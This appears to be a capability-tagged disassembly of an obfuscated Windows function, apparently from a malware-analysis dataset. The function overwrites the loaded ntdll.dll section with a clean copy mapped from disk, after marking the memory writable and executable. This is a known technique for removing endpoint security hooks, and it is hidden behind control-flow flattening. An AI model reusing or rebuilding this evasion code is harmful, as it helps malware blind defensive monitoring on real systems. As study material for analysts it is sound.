Function at 0x40d050
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x98
mov eax, dword [0x4dfe80]
xor eax, ebp
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041e020
lea eax, [0x42cd80]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x54]
lea eax, [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x80], 0x4cf2643e
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x84], eax
sub eax, 0x806e67db
je 0x40db5a
jmp 0x40d0ea
mov eax, dword [ebp - 0x84]
sub eax, 0x8280503e
je 0x40d61c
jmp 0x40d100
mov eax, dword [ebp - 0x84]
sub eax, 0x887e0e7e
je 0x40d9e4
jmp 0x40d116
mov eax, dword [ebp - 0x84]
sub eax, 0x91d79da7
je 0x40d72a
jmp 0x40d12c
mov eax, dword [ebp - 0x84]
sub eax, 0x9299bb73
je 0x40dbc9
jmp 0x40d142
mov eax, dword [ebp - 0x84]
sub eax, 0x99d6e50f
je 0x40d98a
jmp 0x40d158
mov eax, dword [ebp - 0x84]
sub eax, 0xacd4e435
je 0x40d9d8
jmp 0x40d16e
mov eax, dword [ebp - 0x84]
sub eax, 0xb4d7c27f
je 0x40dbbd
jmp 0x40d184
mov eax, dword [ebp - 0x84]
sub eax, 0xb7c90e74
je 0x40d8ce
jmp 0x40d19a
mov eax, dword [ebp - 0x84]
sub eax, 0xb95449fc
je 0x40d5b1
jmp 0x40d1b0
mov eax, dword [ebp - 0x84]
sub eax, 0xc870e61f
je 0x40db0c
jmp 0x40d1c6
mov eax, dword [ebp - 0x84]
sub eax, 0xc8e23fb7
je 0x40d6e3
jmp 0x40d1dc
mov eax, dword [ebp - 0x84]
sub eax, 0xce43a171
je 0x40d6c8
jmp 0x40d1f2
mov eax, dword [ebp - 0x84]
sub eax, 0xd5480268
je 0x40d6a0
jmp 0x40d208
mov eax, dword [ebp - 0x84]
sub eax, 0xdf85f104
je 0x40dc9d
jmp 0x40d21e
mov eax, dword [ebp - 0x84]
sub eax, 0xecaf8c94
je 0x40d547
jmp 0x40d234
mov eax, dword [ebp - 0x84]
sub eax, 0xefd90dec
je 0x40d742
jmp 0x40d24a
mov eax, dword [ebp - 0x84]
sub eax, 0xfab28510
je 0x40d91f
jmp 0x40d260
mov eax, dword [ebp - 0x84]
sub eax, 0xfc3b0696
je 0x40dbec
jmp 0x40d276
mov eax, dword [ebp - 0x84]
sub eax, 0x5165109
je 0x40da21
jmp 0x40d28c
mov eax, dword [ebp - 0x84]
sub eax, 0x546ebe3
je 0x40d6ac
jmp 0x40d2a2
mov eax, dword [ebp - 0x84]
sub eax, 0xbd617fb
je 0x40d83f
jmp 0x40d2b8
mov eax, dword [ebp - 0x84]
sub eax, 0xef987c1
je 0x40d7bd
jmp 0x40d2ce
mov eax, dword [ebp - 0x84]
sub eax, 0x3305f739
je 0x40d43f
jmp 0x40d2e4
mov eax, dword [ebp - 0x84]
sub eax, 0x3b36f747
je 0x40da15
jmp 0x40d2fa
mov eax, dword [ebp - 0x84]
sub eax, 0x3c07629e
je 0x40d76f
jmp 0x40d310
mov eax, dword [ebp - 0x84]
sub eax, 0x3f927493
je 0x40db00
jmp 0x40d326
mov eax, dword [ebp - 0x84]
sub eax, 0x4ac55406
je 0x40dc7e
jmp 0x40d33c
mov eax, dword [ebp - 0x84]
sub eax, 0x4cf2643e
je 0x40d3f1
jmp 0x40d352
mov eax, dword [ebp - 0x84]
sub eax, 0x4e6c85cb
je 0x40da94
jmp 0x40d368
mov eax, dword [ebp - 0x84]
sub eax, 0x596dc4d2
je 0x40dcd3
jmp 0x40d37e
mov eax, dword [ebp - 0x84]
sub eax, 0x5ad92ba8
je 0x40dca9
jmp 0x40d394
mov eax, dword [ebp - 0x84]
sub eax, 0x5d35dbc6
je 0x40d53b
jmp 0x40d3aa
mov eax, dword [ebp - 0x84]
sub eax, 0x6374a210
je 0x40d9f8
jmp 0x40d3c0
mov eax, dword [ebp - 0x84]
sub eax, 0x7c7fc294
je 0x40dc8a
jmp 0x40d3d6
mov eax, dword [ebp - 0x84]
sub eax, 0x7ca1e56f
je 0x40d833
jmp 0x40d3ec
jmp 0x40dce9
mov eax, dword [0x4e1364]
mov ecx, dword [0x4e1360]
mov edx, eax
sub edx, 0x179532f0
sub edx, 1
add edx, 0x179532f0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc3b0696
mov ecx, 0x3305f739
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x4e1364]
mov eax, dword [0x4e1360]
mov edx, ecx
sub edx, 0xf2875525
sub edx, 1
add edx, 0xf2875525
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc3b0696
mov ecx, 0x5d35dbc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov dword [ebp - 0x80], 0xecaf8c94
jmp 0x40dce9
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx + 0x3c]
sub eax, 0x599c9607
add eax, ecx
add eax, 0x599c9607
mov dword [ebp - 0x70], eax
mov word [ebp - 0x72], 0
mov dword [ebp - 0x80], 0xb95449fc
jmp 0x40dce9
mov ecx, dword [0x4e1364]
mov eax, dword [0x4e1360]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4ac55406
mov ecx, 0x8280503e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
movzx eax, word [ebp - 0x72]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 6]
mov dword [ebp - 0x44], eax
mov ecx, dword [0x4e1364]
mov eax, dword [0x4e1360]
mov edx, ecx
sub edx, 0x3ffbd62e
sub edx, 1
add edx, 0x3ffbd62e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4ac55406
mov ecx, 0xd5480268
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov dword [ebp - 0x80], 0x546ebe3
jmp 0x40dce9
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x3d], al
mov dword [ebp - 0x80], 0xce43a171
jmp 0x40dce9
mov dl, byte [ebp - 0x3d]
mov eax, 0x5165109
mov ecx, 0xc8e23fb7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov eax, dword [ebp - 0x70]
add eax, 0x7e7bdb9f
add eax, 0x18
sub eax, 0x7e7bdb9f
mov ecx, dword [ebp - 0x70]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
movzx ecx, word [ebp - 0x72]
imul ecx, ecx, 0x28
sub eax, 0x8f4220be
add eax, ecx
add eax, 0x8f4220be
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x80], 0x91d79da7
jmp 0x40dce9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x80], 0xefd90dec
jmp 0x40dce9
mov ecx, dword [ebp - 0x38]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cda8
call fcn.00421920
mov edx, eax
mov eax, 0x3c07629e
mov ecx, 0xfab28510
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov eax, dword [0x4e1364]
mov ecx, dword [0x4e1360]
mov edx, eax
sub edx, 0xb600cffe
sub edx, 1
add edx, 0xb600cffe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c7fc294
mov ecx, 0xef987c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx + 0xc]
add eax, 0xb00f18e4
add eax, ecx
sub eax, 0xb00f18e4
mov dword [ebp - 0x30], eax
mov eax, dword [0x4e1364]
mov ecx, dword [0x4e1360]
mov edx, eax
sub edx, 0x181fbf3c
sub edx, 1
add edx, 0x181fbf3c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c7fc294
mov ecx, 0x7ca1e56f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov dword [ebp - 0x80], 0xbd617fb
jmp 0x40dce9
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x79], al
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0xc]
sub edx, 0x58bd0941
add edx, eax
add edx, 0x58bd0941
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0xc]
add ecx, 0xa63d95af
add ecx, eax
sub ecx, 0xa63d95af
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 8]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e180
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x78]
add eax, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x80], 0xb7c90e74
jmp 0x40dce9
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov esi, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0xc]
add esi, 0x88267586
add esi, eax
sub esi, 0x88267586
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x79], al
mov dword [ebp - 0x80], 0xfab28510
jmp 0x40dce9
mov ecx, dword [0x4e1364]
mov eax, dword [0x4e1360]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdf85f104
mov ecx, 0x99d6e50f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov eax, dword [0x4e1364]
mov ecx, dword [0x4e1360]
mov edx, eax
add edx, 0x63c8ac01
sub edx, 1
sub edx, 0x63c8ac01
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf85f104
mov ecx, 0xacd4e435
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov dword [ebp - 0x80], 0x887e0e7e
jmp 0x40dce9
mov ax, word [ebp - 0x72]
mov word [ebp - 0x22], ax
mov dword [ebp - 0x80], 0x6374a210
jmp 0x40dce9
mov ax, word [ebp - 0x22]
xor ecx, ecx
sub cx, 1
sub ax, cx
mov word [ebp - 0x72], ax
mov dword [ebp - 0x80], 0x3b36f747
jmp 0x40dce9
mov dword [ebp - 0x80], 0xb95449fc
jmp 0x40dce9
mov ecx, dword [0x4e1364]
mov eax, dword [0x4e1360]
mov edx, ecx
sub edx, 0xf95c00de
sub edx, 1
add edx, 0xf95c00de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ad92ba8
mov ecx, 0x4e6c85cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [0x4e1364]
mov ecx, dword [0x4e1360]
mov edx, eax
sub edx, 0xa9152cf4
sub edx, 1
add edx, 0xa9152cf4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5ad92ba8
mov ecx, 0x3f927493
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov dword [ebp - 0x80], 0xc870e61f
jmp 0x40dce9
mov eax, dword [0x4e1364]
mov ecx, dword [0x4e1360]
mov edx, eax
add edx, 0x4499deff
sub edx, 1
sub edx, 0x4499deff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x596dc4d2
mov ecx, 0x806e67db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x20], eax
mov eax, dword [0x4e1364]
mov ecx, dword [0x4e1360]
mov edx, eax
sub edx, 0x2281f143
sub edx, 1
add edx, 0x2281f143
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x596dc4d2
mov ecx, 0xb4d7c27f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x80], eax
jmp 0x40dce9
mov dword [ebp - 0x80], 0x9299bb73
jmp 0x40dce9
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041d330
add esp, 0x98
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x80], 0x3305f739
jmp 0x40dce9
mov dword [ebp - 0x80], 0x8280503e
jmp 0x40dce9
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x80], 0xef987c1
jmp 0x40dce9
mov dword [ebp - 0x80], 0x99d6e50f
jmp 0x40dce9
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x80], 0x4e6c85cb
jmp 0x40dce9
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x80], 0x806e67db
jmp 0x40d0d1